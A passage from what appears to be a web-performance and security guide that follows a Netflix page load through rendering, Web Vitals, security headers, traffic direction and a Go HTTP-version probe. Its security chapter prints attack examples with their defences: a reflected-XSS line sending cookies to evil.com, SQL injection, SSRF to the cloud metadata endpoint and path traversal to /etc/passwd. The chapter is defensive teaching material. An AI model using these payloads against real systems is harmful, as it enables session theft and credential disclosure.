CSSOM Tree (CSS Object Model)                      │
        │                                          │
        ▼ 4. Combine                               ▼ 5. Download + Execute
Render Tree                                        JavaScript
(DOM + CSSOM, visible nodes only)                  (modifies DOM/CSSOM)
        │
        ▼ 6. Layout (Reflow)
Geometry: position and size of every element
        │
        ▼ 7. Paint
Pixel instructions: what color, text, images at each pixel
        │
        ▼ 8. Composite
GPU assembles layers into the final frame
        │
        ▼
Screen (60fps = new frame every 16.67ms)

Bytes received: [TLS decrypt] → [Brotli decompress] → [UTF-8 decode]
  e.g.: 0xEF 0xBB 0xBF ... → <html><head><title>Netflix</title>...

<html>
  <head>
    <title>Netflix</title>
    <link rel="stylesheet" href="/style.css">
  </head>
  <body>
    <nav id="header">
      <img src="/logo.png" alt="Netflix">
    </nav>
    <main>
      <h1>Watch anywhere.</h1>
    </main>
  </body>
</html>

Document
└── html
    ├── head
    │   ├── title: "Netflix"
    │   └── link (stylesheet: /style.css)
    └── body
        ├── nav#header
        │   └── img (src: /logo.png)
        └── main
            └── h1: "Watch anywhere."

Parser Blocking — The Most Important Performance Rule

The HTML parser blocks (stops) when it encounters a <script> tag without async or defer:

<head>
  <script src="/analytics.js"></script>  ← Parser STOPS here
  ...                                    ← This HTML is not parsed until script finishes
</head>

Why? JS can call document.write() which modifies HTML.
     Parser must let JS run before continuing.

This is why render-blocking scripts are bad for performance.

Solution — async and defer:

<script src="/analytics.js" async></script>
  → Downloaded in parallel. Executed whenever downloaded (may be before/after DOM ready).
  → Does not block parsing. Good for independent scripts (analytics, ads).

<script src="/app.js" defer></script>
  → Downloaded in parallel. Executed AFTER HTML is fully parsed.
  → Does not block parsing. Good for scripts that need the full DOM.
  → Executed in order of appearance (unlike async).

<script type="module" src="/app.js"></script>
  → Implicitly deferred. Supports ES module imports.

CSS also blocks rendering (but not parsing):

<link rel="stylesheet" href="/style.css">
  CSS must be fully downloaded and parsed before any rendering happens.
  Why: rendering without CSS would show unstyled content, then flash to styled = bad UX.
  (This is called FOUC — Flash Of Unstyled Content)

body { font-size: 16px; color: #333; }
nav  { background: #e50914; }
h1   { font-size: 2rem; font-weight: bold; }

CSSOM:
  body: { font-size: 16px, color: #333 }
  nav:  { background: #e50914 }
  h1:   { font-size: 32px (2rem × 16px base), font-weight: bold }

DOM Node                   CSSOM Rule           Render Tree Node?
<html>                     -                    Yes (container)
<head>                     display:none(implicit) NO
<title>                    -                    NO (head is hidden)
<body>                     display:block        Yes
<nav>                      display:flex         Yes + styles applied
<img>                      display:inline       Yes + styles applied
<script>                   -                    NO (not visual)
<div style="display:none"> display:none         NO (explicitly hidden)

Browser viewport: 1440px wide × 900px tall

Compute for each element:
  body:  x=0, y=0, width=1440, height=900
  nav:   x=0, y=0, width=1440, height=64
  img:   x=16, y=12, width=92, height=40
  main:  x=0, y=64, width=1440, height=836
  h1:    x=120, y=200, width=1200, height=48

// BAD — triggers layout 1000 times
for (let i = 0; i < 1000; i++) {
  element.style.width = element.offsetWidth + 1 + 'px'; // read then write → layout!
}

// GOOD — batch reads, then writes
const width = element.offsetWidth; // read once
for (let i = 0; i < 1000; i++) {
  element.style.width = (width + i) + 'px'; // write without reading
}

Paint operations recorded (not executed yet — this is a "paint list"):
  - Fill rectangle (0, 0, 1440, 64) with color #e50914  (nav background)
  - Draw image at (16, 12, 92, 40)  (Netflix logo)
  - Draw text "Watch anywhere." at (120, 200) in font 32px bold #fff
  - Draw rectangle border (1, solid, #ccc) at (0, 64, 1440, 1)
  ...

Layer 1: Background + content (painted by CPU)
Layer 2: Netflix logo (image)
Layer 3: Fixed header (separate layer — doesn't repaint on scroll)
Layer 4: Video player overlay
Layer 5: Modal dialog (if open)

GPU composites all layers → final frame → displayed on screen

/* Tells browser: put this on its own GPU layer */
.animated-element {
    will-change: transform;  /* modern, explicit hint */
    transform: translateZ(0); /* old trick — also creates layer */
}

JavaScript and the Main Thread

The browser has one main thread that handles:

• HTML parsing
• JavaScript execution
• CSS parsing
• Layout
• Paint

If JS runs for more than 16ms (one frame), the browser cannot render a new frame → janky animation or unresponsive UI.

Main thread timeline:
 [Parse HTML] [CSS] [JS runs 200ms!] [Layout] [Paint] [Composite]
                     ↑
              During these 200ms: no rendering, no user input handled
              Page appears frozen to user

Solutions:

// Move heavy work off the main thread using Web Workers
const worker = new Worker('/heavy-computation.js');
worker.postMessage({ data: largeDataset });
worker.onmessage = (e) => updateUI(e.data);
// Main thread free to render while worker computes

// Break up long tasks using setTimeout/requestAnimationFrame
function processChunk(items, start) {
    const end = Math.min(start + 50, items.length);
    for (let i = start; i < end; i++) {
        processItem(items[i]);
    }
    if (end < items.length) {
        requestAnimationFrame(() => processChunk(items, end)); // yield to browser
    }
}

Core Web Vitals

Google's metrics for measuring real-user page experience. Netflix engineers optimize for these:

LCP — Largest Contentful Paint

Time until the largest visible element (hero image, headline) is rendered.

Good:    < 2.5s
Needs improvement: 2.5s–4.0s
Poor:    > 4.0s

How to improve LCP:
  • Preload the hero image: <link rel="preload" href="/hero.jpg" as="image">
  • Use a CDN (image served from nearby edge)
  • Server-Side Rendering (HTML arrives with content, not shell)
  • Optimize image format (WebP, AVIF = 50% smaller than JPEG)
  • Inline critical CSS (no render-blocking CSS file fetch)

CLS — Cumulative Layout Shift

Total unexpected layout shift during the page's life. Measures visual stability.

Good:    < 0.1
Needs improvement: 0.1–0.25
Poor:    > 0.25

Common causes:
  • Images without width/height attributes (browser doesn't know size until loaded → shifts content)
  • Web fonts loading (text reflows when font loads)
  • Ads loading and expanding

Fix:
  <img src="/logo.png" width="92" height="40">  (reserve space before image loads)
  font-display: swap;  (show fallback font, swap when web font loads — may shift)
  font-display: optional;  (use web font only if already cached — no shift)

INP — Interaction to Next Paint

Time from a user's interaction (click, tap, keypress) to the next visible browser response. INP replaced First Input Delay (FID) as a Core Web Vital in March 2024 because it captures responsiveness across the page's interactions, not only the first one.

Good:    ≤ 200ms
Needs improvement: 200ms–500ms
Poor:    > 500ms

Caused by: JS blocking the main thread
Fix: Break up long tasks, use Web Workers, reduce JS bundle size

TTFB — Time to First Byte

Time from request sent to first byte of response received. Measures server speed.

Good: < 200ms

Includes:
  DNS lookup + TCP handshake + TLS handshake + server processing

Optimize with:
  • Use a CDN (edge server is nearby)
  • Server-side caching (Redis, Memcached)
  • Efficient database queries
  • SSR with streaming (send HTML as soon as first chunk is ready)

Resource Hints — Telling the Browser What's Coming

<!-- Preload: fetch this now, high priority, you'll definitely need it -->
<link rel="preload" href="/hero.jpg" as="image">
<link rel="preload" href="/critical.css" as="style">
<link rel="preload" href="/font.woff2" as="font" crossorigin>

<!-- Prefetch: fetch this soon, low priority, next navigation probably needs it -->
<link rel="prefetch" href="/next-page.html">
<link rel="prefetch" href="/video/trailer.mp4">

<!-- Preconnect: open TCP+TLS connection to this origin now, don't fetch yet -->
<link rel="preconnect" href="https://api.netflix.com">
<link rel="preconnect" href="https://cdn.nflxvideo.net">

<!-- DNS-prefetch: resolve DNS for this domain now (weaker than preconnect) -->
<link rel="dns-prefetch" href="//api.netflix.com">

Service Workers — Offline and Caching

A Service Worker is a JavaScript file that runs in a background thread and intercepts all network requests.

Browser request lifecycle with Service Worker:

Browser → [SW intercepts] → Cache? HIT → return from cache (0ms)
                                  MISS → fetch from network → cache → return

Use cases:
  • Offline support: serve cached content when network is unavailable
  • Background sync: queue writes when offline, send when online
  • Push notifications: receive server push even when app is closed
  • Precaching: download assets proactively during install
  • Request rewriting: modify requests (add auth headers, change URLs)

Chapter 12 — Security: Protecting the Entire Lifecycle

Every phase of the HTTP lifecycle is an attack surface. This guide covers what can go wrong at each point and how Netflix (and you) defend against it.

1. Transport Security — TLS

Already covered in Chapter 4 (TLS & HTTPS). Quick summary of what it defends against:

2. HSTS — HTTP Strict Transport Security

Problem: You type netflix.com (no https://). Browser tries http://netflix.com first. An attacker could intercept this first HTTP request and redirect you to a fake site.

HSTS tells the browser: "Never use HTTP for this domain — always use HTTPS, for the next [max-age] seconds."

Response header:
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

max-age=31536000    → remember this for 1 year
includeSubDomains   → applies to api.netflix.com, cdn.netflix.com too
preload             → submit to browser's built-in HSTS preload list

HSTS Preload List

A browser-shipped list of domains that should use HTTPS from the very first visit, before any ordinary HTTP request is made. Preloading is powerful but operationally serious: if you preload a domain and later break HTTPS for a subdomain, users may be unable to reach it until you fix TLS or complete a slow removal process.

First visit WITHOUT HSTS:
  1. Browser → http://netflix.com (plain HTTP)
  2. Netflix → 301 Redirect to https://netflix.com
  3. Attacker could intercept step 1!

First visit WITH HSTS preload:
  1. Browser checks hardcoded list: netflix.com → HTTPS only
  2. Browser → https://netflix.com (directly, no ordinary HTTP first hop)
  3. Attacker loses the easy first-visit HTTP downgrade window ✓

3. Content Security Policy (CSP)

Problem: XSS (Cross-Site Scripting) — attacker injects malicious JavaScript into your page. The injected JS runs with full access to cookies, DOM, and can send data to attackers.

CSP is a response header that tells the browser: "Only execute scripts from these trusted sources."

Content-Security-Policy:
  default-src 'self';
  script-src  'self' https://cdn.nflxvideo.net 'nonce-abc123xyz';
  style-src   'self' 'unsafe-inline';
  img-src     'self' data: https://nflximg.net;
  connect-src 'self' https://api.netflix.com wss://push.netflix.com;
  font-src    'self' https://nflxvideo.net;
  frame-ancestors 'none';
  upgrade-insecure-requests;

How CSP blocks XSS:

<!-- Attacker injects this script via a comment field or URL parameter: -->
<script src="https://evil.com/steal-cookies.js"></script>

<!-- Browser checks: is evil.com in script-src? NO → BLOCKED ✓ -->

<!-- What about inline scripts? -->
<script>stealCookies()</script>
<!-- Blocked unless 'unsafe-inline' or matching nonce is present -->

<!-- With nonce-based CSP: -->
<!-- Server adds nonce to legitimate scripts: -->
<script nonce="abc123xyz">legitCode()</script>
<!-- Attacker cannot know the server-generated nonce → cannot inject with valid nonce -->

CSP Violation Reporting:

Content-Security-Policy: ...; report-uri https://csp-reports.netflix.com

Browser sends a JSON report to the URI when a CSP violation occurs. Netflix can detect ongoing injection attacks in real-time.

4. CORS — Cross-Origin Resource Sharing

Problem: A malicious site evil.com loads in your browser. It makes a fetch() call to https://api.netflix.com/users/me — and since you're logged in, this would succeed and send your data to evil.com.

Same-Origin Policy blocks this by default. CORS is the mechanism to selectively allow trusted cross-origin access.

evil.com tries: fetch('https://api.netflix.com/users/me')
Browser sends preflight: OPTIONS /users/me
  Origin: https://evil.com

api.netflix.com responds:
  Access-Control-Allow-Origin: https://www.netflix.com   ← only this origin allowed
  (evil.com is NOT listed)

Browser: "Origin evil.com is not allowed. Blocking response." ✓
The request DID reach the server — CORS is browser-enforced, not server-enforced.
(Server-side: validate Origin header too, for defense-in-depth)

5. Cookies — Secure Storage of Session State

Cookies are the primary way browsers maintain session state. Misconfigured cookies are a major attack vector.

Set-Cookie: sessionId=abc123;
  Secure;          ← Only sent over HTTPS (never HTTP — prevents interception)
  HttpOnly;        ← JavaScript cannot read this cookie (document.cookie blocked)
                     Prevents XSS from stealing session tokens
  SameSite=Strict; ← Cookie not sent on any cross-site request
                     Strongest CSRF protection
  Domain=.netflix.com;  ← Sent to all netflix.com subdomains
  Path=/;
  Max-Age=3600;    ← Expires in 1 hour

SameSite Values — CSRF Protection

CSRF — Cross-Site Request Forgery

Without SameSite protection:
  1. You're logged into netflix.com (cookie in browser).
  2. You visit evil.com.
  3. evil.com has hidden form: <form action="https://netflix.com/account/delete" method="POST">
  4. Form auto-submits. Browser sends POST with your netflix.com cookie.
  5. Netflix deletes your account — attacker's request, your cookie!

With SameSite=Strict:
  Step 4: Browser sees cross-site POST. Cookie has SameSite=Strict.
           Cookie NOT sent. Request arrives without auth → rejected. ✓

6. X-Frame-Options & Clickjacking

Clickjacking: Attacker embeds Netflix in a transparent iframe, overlays a fake UI. You think you're clicking "Win a Prize!" but you're actually clicking Netflix's "Buy Premium Subscription."

X-Frame-Options: DENY
  → This page cannot be embedded in ANY iframe

X-Frame-Options: SAMEORIGIN
  → Only same-origin iframes allowed

Content-Security-Policy: frame-ancestors 'none';
  → Modern equivalent (CSP frame-ancestors supersedes X-Frame-Options)
  → More flexible: can specify allowed origins explicitly

7. Certificates & PKI Security

Certificate Transparency (CT)

Publicly trusted TLS certificates are expected to appear in public, append-only Certificate Transparency logs. Major browsers require proof of CT logging (usually via embedded or stapled SCTs — Signed Certificate Timestamps) before trusting many certificate types.

Why this matters:
  A rogue CA issues a cert for netflix.com to an attacker.
  This cert MUST be logged in CT.
  Netflix monitors CT logs for any cert issued for *.netflix.com.
  Netflix detects the rogue cert within minutes.
  Netflix contacts the CA to revoke it.
  Netflix can also use CAA records to prevent unauthorized issuance.

CAA — Certification Authority Authorization

A DNS record specifying which CAs are allowed to issue certs for your domain:

netflix.com CAA 0 issue "digicert.com"
netflix.com CAA 0 issuewild "digicert.com"
netflix.com CAA 0 iodef "mailto:security@netflix.com"

If a CA (Let's Encrypt, Comodo, etc.) receives a cert request for netflix.com, it must check CAA records first. If the CA isn't listed, it must refuse.

Certificate Revocation

If Netflix's private key is stolen, they need to revoke the cert immediately:

CRL (Certificate Revocation List):

CA publishes a list of revoked serial numbers at a URL.
Browser downloads and checks the list.
Problems: Large file, updated infrequently, browser caches stale versions.

OCSP (Online Certificate Status Protocol):

Browser makes real-time request to CA's OCSP responder:
  "Is cert serial 12345678 still valid?"
  CA responds: "Good" or "Revoked"
Problem: Latency (extra network request per HTTPS connection) + privacy (CA knows your browsing).

OCSP Stapling (solution):

Netflix's server fetches OCSP response from CA (cached for 24hrs).
Netflix includes ("staples") this response in the TLS handshake.
Browser gets freshness proof without extra request.
No latency. No privacy leak. ✓

OCSP Must-Staple:

Certificate extension that says: "If OCSP staple missing, refuse connection."
Prevents attacker from blocking OCSP responses to use a revoked cert.

8. Web Application Firewall (WAF)

A WAF sits between users and your web application, inspecting HTTP requests for known attack patterns.

Client → WAF → Reverse Proxy → App Server

WAF inspects (at L7):
  • SQL injection: ?id=1' OR '1'='1  → BLOCK
  • XSS: <script>alert(1)</script>   → BLOCK
  • Path traversal: /../etc/passwd   → BLOCK
  • Known CVE exploits               → BLOCK
  • Abnormal request rates           → BLOCK (rate limit)
  • Malformed HTTP                   → BLOCK
  • OWASP Top 10 attack patterns     → BLOCK

WAF rule types:

• Signature-based: Match known attack strings. Fast but misses novel attacks.
• Anomaly-based: Score requests on deviation from normal. Catches new attacks.
• Rate-based: Block IPs making too many requests.

9. Authentication & Authorization

Authentication = Who are you? (Verify identity) Authorization = What are you allowed to do? (Verify permissions)

JWT — JSON Web Token

A large streaming service might use JWTs or a similar signed-token format for API authentication:

JWT structure (three Base64-encoded parts separated by dots):

Header:
{
  "alg": "RS256",     ← Signed with RSA-256
  "typ": "JWT"
}

Payload:
{
  "sub": "user-id-12345",
  "email": "user@example.com",
  "plan": "standard",
  "iat": 1714000000,   ← Issued at
  "exp": 1714003600    ← Expires at (+1 hour)
}

Signature:
RSASHA256(base64(header) + "." + base64(payload), privateKey)

Full JWT: eyJhbGciOiJSUzI1NiJ9.eyJzdWIiOiJ1c2VyLWlkLTEyMzQ1In0.SIG...

Verification:
  1. Decode header and payload (anyone can do this — not encrypted, just encoded)
  2. Verify signature with Netflix's public key
  3. Verify exp hasn't passed
  4. Verify iss (issuer) and aud (audience) match expected values
  If all pass: user is authenticated ✓

JWT sent as: Cookie (HttpOnly, Secure) or Authorization: Bearer <token> header.

JWT Security pitfalls:

• Never store sensitive data in payload (it's base64, not encrypted — anyone can decode it).
• alg: none attack — always validate the alg field, reject "none".
• Short expiry + refresh tokens — if JWT is stolen, short TTL limits damage window.
• Rotate signing keys periodically.

10. Common Web Attacks — How They Work and How to Stop Them

SQL Injection

Vulnerable code:
  query = "SELECT * FROM users WHERE id = " + user_input;
  user_input = "1 OR 1=1 --"
  query = "SELECT * FROM users WHERE id = 1 OR 1=1 --"
  → Returns ALL users ✗

Defense: Parameterized queries / prepared statements:
  query = "SELECT * FROM users WHERE id = ?"
  execute(query, [user_input])
  → user_input treated as DATA, never as SQL code ✓

XSS — Cross-Site Scripting

Reflected XSS:
  Netflix search: ?q=<script>document.location='https://evil.com/?c='+document.cookie</script>
  Page renders: <p>Results for <script>...</script></p>
  Script executes: steals your cookies → attacker logs in as you ✗

Defense:
  • Output encoding: render user input as text, not HTML
    <p>Results for {html_encode(query)}</p>
    → <p>Results for &lt;script&gt;...&lt;/script&gt;</p>
    (displayed as text, not executed)
  • CSP: even if rendered, blocked by CSP
  • HttpOnly cookies: even if XSS runs, can't read cookies

SSRF — Server-Side Request Forgery

Attack:
  Netflix has an endpoint: GET /preview?url=https://example.com
  Attacker: GET /preview?url=http://169.254.169.254/latest/meta-data/
  Server fetches AWS metadata endpoint → returns IAM credentials to attacker!

Defense:
  • Validate URL is an allowed external domain
  • Block private IP ranges (10.x, 172.16.x, 192.168.x, 169.254.x)
  • Use DNS resolution at validation time AND fetch time
  • Run fetcher in isolated network with no internal access

Path Traversal

Attack:
  GET /download?file=../../../etc/passwd
  Server: read("/var/www/files/../../../etc/passwd") → reads /etc/passwd ✗

Defense:
  • Canonicalize path and verify it starts with allowed base directory
  • Use chroot or container to isolate file access
  • Never take filenames directly from user input

11. Security Headers — Quick Reference

12. Defense in Depth — Netflix's Security Layers

Layer 1: DNS — CAA records, DNSSEC
Layer 2: TLS — TLS 1.3, HSTS preload, OCSP stapling, CT
Layer 3: Network — DDoS scrubbing, BGP RPKI, rate limiting at L3/L4
Layer 4: Edge WAF — OWASP rules, IP reputation, bot detection
Layer 5: Authentication — JWT with short TTL, OAuth2, MFA
Layer 6: Authorization — RBAC, least privilege, service-to-service mTLS
Layer 7: Application — Parameterized queries, output encoding, CSP, CORS
Layer 8: Monitoring — SIEM, anomaly detection, CT log monitoring
Layer 9: Secrets — Key rotation, hardware HSMs, no hardcoded credentials
Layer 10: Incident Response — Runbooks, on-call, cert revocation procedures

Each layer assumes the previous layer may fail. No single layer is the sole defense.

Chapter 13 — Traffic Direction: SLI & SLO

In this chapter, SLI and SLO mean Site Local In and Site Local Out: traffic direction relative to a site or datacenter. This is different from the SRE meanings, Service Level Indicator and Service Level Objective. The acronym collision is real; define the terms before using them in mixed networking/SRE conversations.

Looking for SLIs and SLOs in the SRE sense (Service Level Indicators, Objectives, error budgets, and burn-rate alerts)? They're in Chapter 23, with a Go simulation of 30 days of traffic that shows which incidents should page and which should only open a ticket.

SLI — Site Local In

SLI (Site Local In) is inbound traffic entering a site or datacenter — packets arriving from the outside world (the internet) destined for servers inside.

In the Netflix Lifecycle

When you send your HTTP request:

Internet (you)
      │
      ▼   ◄── This is SLI: Site Local In
Netflix Datacenter / Edge boundary
  (border router ingress interface)
      │
      ▼
Internal servers (10.0.x.x)

Your GET request, TCP SYN packets, TLS ClientHello, HTTP headers — all of this is SLI traffic from Netflix's perspective.

What Netflix Monitors on SLI

Border Router Interface: xe-0/0/0 (facing Comcast peering)
Direction: IN (ingress)

Real-time counters:
  Bytes/second  in: ~120 Gbps  (HTTP requests, TCP ACKs, video player pings)
  Packets/sec   in: ~90 Mpps   (millions of packets per second)
  Flows/sec     in: ~500K      (new TCP connections per second)
  SYN rate      in: ~400K/s    (monitored for SYN flood DDoS)
  Avg pkt size  in: ~200 bytes (small — requests and ACKs are small)

SLI and Security

SLI is where DDoS attacks arrive. Netflix monitors SLI for:

Normal SLI:  100 Gbps inbound, mix of TCP ports 443 (HTTPS), 80 (HTTP redirect)
DDoS signal: 800 Gbps inbound, all UDP port 53 (amplification), from 50K source IPs

Action:
  → Black-hole routing: DROP all traffic matching attack signature at border router
  → Scrubbing center: route SLI traffic through DDoS scrubber, clean traffic forwarded in
  → BGP community: signal upstream ISPs to drop attack traffic before it enters Netflix's network

Firewall ACLs act on SLI:

ALLOW TCP dest-port 443  (HTTPS — your request)
ALLOW TCP dest-port 80   (HTTP — redirect to HTTPS)
ALLOW ICMP               (ping, traceroute — diagnostics)
DENY  TCP dest-port 22   (SSH — block external SSH to internal servers)
DENY  all other

SLO — Site Local Out

SLO (Site Local Out) is outbound traffic leaving a site or datacenter — packets originating inside Netflix's network going out to the internet.

In the Netflix Lifecycle

When Netflix sends your HTTP response:

Internal servers (10.0.x.x)
      │
      ▼   ◄── This is SLO: Site Local Out
Netflix Datacenter / Edge boundary
  (border router egress interface)
      │
      ▼
Internet (back to you)

The HTML response, video chunks, TLS ServerHello, image bytes — all SLO traffic.

What Netflix Monitors on SLO

Border Router Interface: xe-0/0/0 (facing Comcast peering)
Direction: OUT (egress)

Real-time counters:
  Bytes/second out: ~380 Gbps  (HTML, video chunks, images, API responses)
  Packets/sec  out: ~280 Mpps
  BGP advertisements: which prefixes are being announced outbound
  Per-peer egress breakdown: how much traffic goes to each ISP peer
  Avg pkt size out: ~1400 bytes (close to MTU — video chunks fill packets)

The Asymmetry — Why SLO is Always Much Larger Than SLI

SLI (your request):
  GET / HTTP/2
  + headers: ~2KB total

SLO (Netflix response):
  HTML: 45KB (compressed)
  CSS: 150KB
  JavaScript: 500KB
  Images: 2MB
  Video (1 min of HD): ~150MB

Ratio: SLO is typically 3–50× larger than SLI for a media platform.

Netflix border router (Comcast peering link):
  SLI: 120 Gbps in
  SLO: 380 Gbps out
  Ratio: ~1:3 (requests vs responses)

SLI + SLO in Traffic Engineering

Netflix has peering relationships with hundreds of ISPs. They can shift traffic between peers based on cost, performance, and capacity.

Peering Link View

Netflix has four peering links (simplified):

Interface     Peer        SLI (in)   SLO (out)   Cost/Gbps
xe-0/0/0      Comcast     120 Gbps   380 Gbps    $0 (free peer)
xe-0/0/1      AT&T        90 Gbps    270 Gbps    $0 (free peer)
xe-0/0/2      Tata        40 Gbps    120 Gbps    $0 (free peer - OCA)
xe-0/0/3      NTT Transit 50 Gbps    150 Gbps    $2/Gbps (paid transit)

Total SLI:  300 Gbps
Total SLO:  920 Gbps

Why Netflix Moves Traffic Between Peers

Scenario: Comcast xe-0/0/0 SLO reaches 95% capacity (380/400 Gbps).

Traffic engineering action:
  1. Reduce BGP LOCAL_PREF for Comcast-bound routes
     (makes other paths look more attractive to BGP)
  2. BGP re-routes some Comcast users to AT&T or Tata peers
  3. SLO on Comcast drops to 320 Gbps
  4. SLO on AT&T rises to 330 Gbps
  5. Both links are now safely within capacity

This is done without any user-visible disruption.
BGP convergence: ~5 seconds for internal routes.

95th Percentile Billing (Burstable Billing)

Most transit providers charge based on the 95th percentile of either SLO or (SLI + SLO), sampled every 5 minutes over a month:

5-minute SLO samples over a month:
  [5, 8, 12, 400, 380, 370, 350, 200, 50, 10, ...] Gbps

Sort all samples ascending.
95th percentile = top 5% excluded (the spikes).
You pay for the 95th percentile value.

Why this model:
  Allows burst to 100% capacity occasionally without paying for that peak.
  Pay for sustained capacity, not momentary bursts.
  Netflix engineers to keep 95th percentile under contracted rate to avoid overage charges.

SLI vs SLO in Firewall Policy

Stateful firewalls track the direction of traffic initiation:

Stateful firewall rule:

ALLOW: TCP SLI from 0.0.0.0/0 to 10.0.4.0/24 port 443  (inbound HTTPS)
  → Creates a connection state table entry

ALLOW: TCP SLO from 10.0.4.0/24 to 0.0.0.0/0 ESTABLISHED
  → Return traffic for SLI-initiated connections automatically allowed

DENY: TCP SLI from 0.0.0.0/0 to 10.0.4.0/24 port 22
  → External SSH blocked

Result:
  Your GET request → SLI → ALLOWED (port 443)
  Netflix's response → SLO → ALLOWED (ESTABLISHED - return traffic)
  Attacker SSH attempt → SLI port 22 → DENIED

SLI/SLO and Netflix Open Connect OCA

A key goal of OCA placement is converting expensive long-haul SLO into cheap/free local SLO:

WITHOUT OCA (all SLO from Netflix HQ):
  Netflix HQ → Internet → Tata Mumbai → User in Mumbai
  SLO travels: US → Mumbai (expensive transit)
  Tata pays Netflix for transit. Netflix pays NTT for transit. $$$$

WITH OCA at Tata Mumbai:
  OCA Mumbai → [Tata's internal network] → User in Mumbai
  SLO stays inside Tata's network instead of crossing paid transit links.
  No transit cost. Netflix gives OCA to Tata for free.
  Tata benefits: doesn't pay transit fees for Netflix video.
  Netflix benefits: zero SLO transit cost for ~95% of video.

Global SLO reduction:
  Netflix total SLO: ~600 Gbps
  Via OCA (no transit cost): ~570 Gbps (95%)
  Via origin (transit cost): ~30 Gbps (5%)

Summary Table

Chapter 14 — HTTP version negotiation: HTTP/1.1, HTTP/2, HTTP/3, Alt-Svc, and fallbacks

HTTP/1.1 over TLS/TCP:
  DNS → TCP → TLS(ALPN=http/1.1) → HTTP request/response

HTTP/2 over TLS/TCP:
  DNS → TCP → TLS(ALPN=h2) → HTTP/2 frames and streams

HTTP/3 over QUIC/UDP:
  discover h3 support via Alt-Svc or HTTPS/SVCB DNS
  DNS → UDP/QUIC Initial + TLS 1.3 → ALPN=h3 → HTTP/3 streams

// protoprobe: which HTTP versions does a site offer, and how is each one
// discovered? Compares HTTP/1.1 and HTTP/2 over TLS (ALPN), reads Alt-Svc,
// and decodes the DNS HTTPS record (type 65) that can advertise h3 up front.
//
//	go run ./protoprobe cloudflare.com
//	go run ./protoprobe www.google.com
package main

import (
	"crypto/tls"
	"encoding/binary"
	"fmt"
	"math/rand/v2"
	"net"
	"net/http"
	"os"
	"strings"
	"time"
)

func main() {
	if len(os.Args) != 2 {
		fmt.Println("usage: protoprobe HOST")
		os.Exit(2)
	}
	host := os.Args[1]
	url := "https://" + host + "/"

	// 1. Force HTTP/1.1: a non-nil, empty TLSNextProto map disables HTTP/2,
	//    so ALPN offers only "http/1.1".
	h1 := &http.Transport{TLSNextProto: map[string]func(string, *tls.Conn) http.RoundTripper{}}
	// 2. Allow HTTP/2: ALPN offers "h2" first.
	h2 := &http.Transport{ForceAttemptHTTP2: true}

	for _, t := range []struct {
		name string
		rt   http.RoundTripper
	}{{"HTTP/1.1 only", h1}, {"HTTP/2 allowed", h2}} {
		c := &http.Client{Transport: t.rt, Timeout: 10 * time.Second,
			CheckRedirect: func(*http.Request, []*http.Request) error { return http.ErrUseLastResponse }}
		start := time.Now()
		resp, err := c.Get(url)
		if err != nil {
			fmt.Printf("%-15s error: %v\n", t.name, err)
			continue
		}
		resp.Body.Close()
		fmt.Printf("%-15s -> %-8s %s in %v\n", t.name, resp.Proto, resp.Status, time.Since(start).Round(time.Millisecond))
		if t.name == "HTTP/2 allowed" {
			if alt := resp.Header.Get("Alt-Svc"); alt != "" {
				fmt.Printf("%-15s    Alt-Svc: %s   <- HTTP/3 offered for NEXT time\n", "", alt)
			} else {
				fmt.Printf("%-15s    no Alt-Svc header: no HTTP/3 advertised over HTTP\n", "")
			}
		}
	}

	// 3. The DNS HTTPS record lets a browser learn about h3 BEFORE connecting.
	alpn, err := httpsRecordALPN(host)
	switch {
	case err != nil:
		fmt.Println("HTTPS record:   lookup failed:", err)
	case alpn == nil:
		fmt.Println("HTTPS record:   none published")
	default:
		fmt.Printf("HTTPS record:   alpn=%v   <- usable on the FIRST connection\n", alpn)
	}
	fmt.Println("\n(Go's standard library has no HTTP/3 client; browsers, curl --http3, and")
	fmt.Println(" libraries such as quic-go do. This tool shows how h3 is DISCOVERED.)")
}

// httpsRecordALPN sends a raw DNS query for type 65 (HTTPS, RFC 9460) and
// returns the alpn SvcParam of the first record. See the TCP/IP guide's
// dnsquery lab for the wire format.
func httpsRecordALPN(host string) ([]string, error) {
	q := make([]byte, 12, 512)
	id := uint16(rand.N(1 << 16))
	binary.BigEndian.PutUint16(q[0:], id)
	binary.BigEndian.PutUint16(q[2:], 0x0100) // recursion desired
	binary.BigEndian.PutUint16(q[4:], 1)
	for _, l := range strings.Split(strings.TrimSuffix(host, "."), ".") {
		q = append(q, byte(len(l)))
		q = append(q, l...)
	}
	q = append(q, 0, 0, 65, 0, 1) // QTYPE=65 (HTTPS), QCLASS=IN

	c, err := net.Dial("udp", "1.1.1.1:53")
	if err != nil {
		return nil, err
	}
	defer c.Close()
	c.SetDeadline(time.Now().Add(3 * time.Second))
	c.Write(q)
	m := make([]byte, 1232)
	n, err := c.Read(m)
	if err != nil {
		return nil, err
	}
	m = m[:n]
	if n < 12 || binary.BigEndian.Uint16(m) != id {
		return nil, fmt.Errorf("bad reply")
	}
	an := int(binary.BigEndian.Uint16(m[6:]))
	off := skipName(m, 12) + 4 // skip the question
	for i := 0; i < an && off > 0 && off+10 <= n; i++ {
		off = skipName(m, off)
		typ := binary.BigEndian.Uint16(m[off:])
		rdlen := int(binary.BigEndian.Uint16(m[off+8:]))
		rd := off + 10
		off = rd + rdlen
		if typ != 65 || off > n {
			continue // e.g. a CNAME in front of the HTTPS record
		}
		// RDATA: SvcPriority(2) TargetName(name) then key(2) len(2) value...
		p := skipName(m, rd+2)
		for p+4 <= off {
			key, l := binary.BigEndian.Uint16(m[p:]), int(binary.BigEndian.Uint16(m[p+2:]))
			v := m[p+4 : min(p+4+l, off)]
			if key == 1 { // alpn: a list of length-prefixed protocol IDs
				var out []string
				for j := 0; j < len(v); j += 1 + int(v[j]) {
					out = append(out, string(v[j+1:min(j+1+int(v[j]), len(v))]))
				}
				return out, nil
			}
			p += 4 + l
		}
		return []string{}, nil // record exists, no alpn key
	}
	return nil, nil
}

// skipName returns the offset just after a (possibly compressed) DNS name.
func skipName(m []byte, off int) int {
	for off < len(m) {
		l := int(m[off])
		switch {
		case l == 0:
			return off + 1
		case l&0xC0 == 0xC0:
			return off + 2
		default:
			off += 1 + l
		}
	}
	return -1
}

$ go run ./protoprobe cloudflare.com
HTTP/1.1 only   -> HTTP/1.1 301 Moved Permanently in 129ms
HTTP/2 allowed  -> HTTP/2.0 301 Moved Permanently in 251ms
                   Alt-Svc: h3=":443"; ma=86400   <- HTTP/3 offered for NEXT time
HTTPS record:   alpn=[h3 h2]   <- usable on the FIRST connection

$ go run ./protoprobe github.com
HTTP/1.1 only   -> HTTP/1.1 200 OK in 263ms
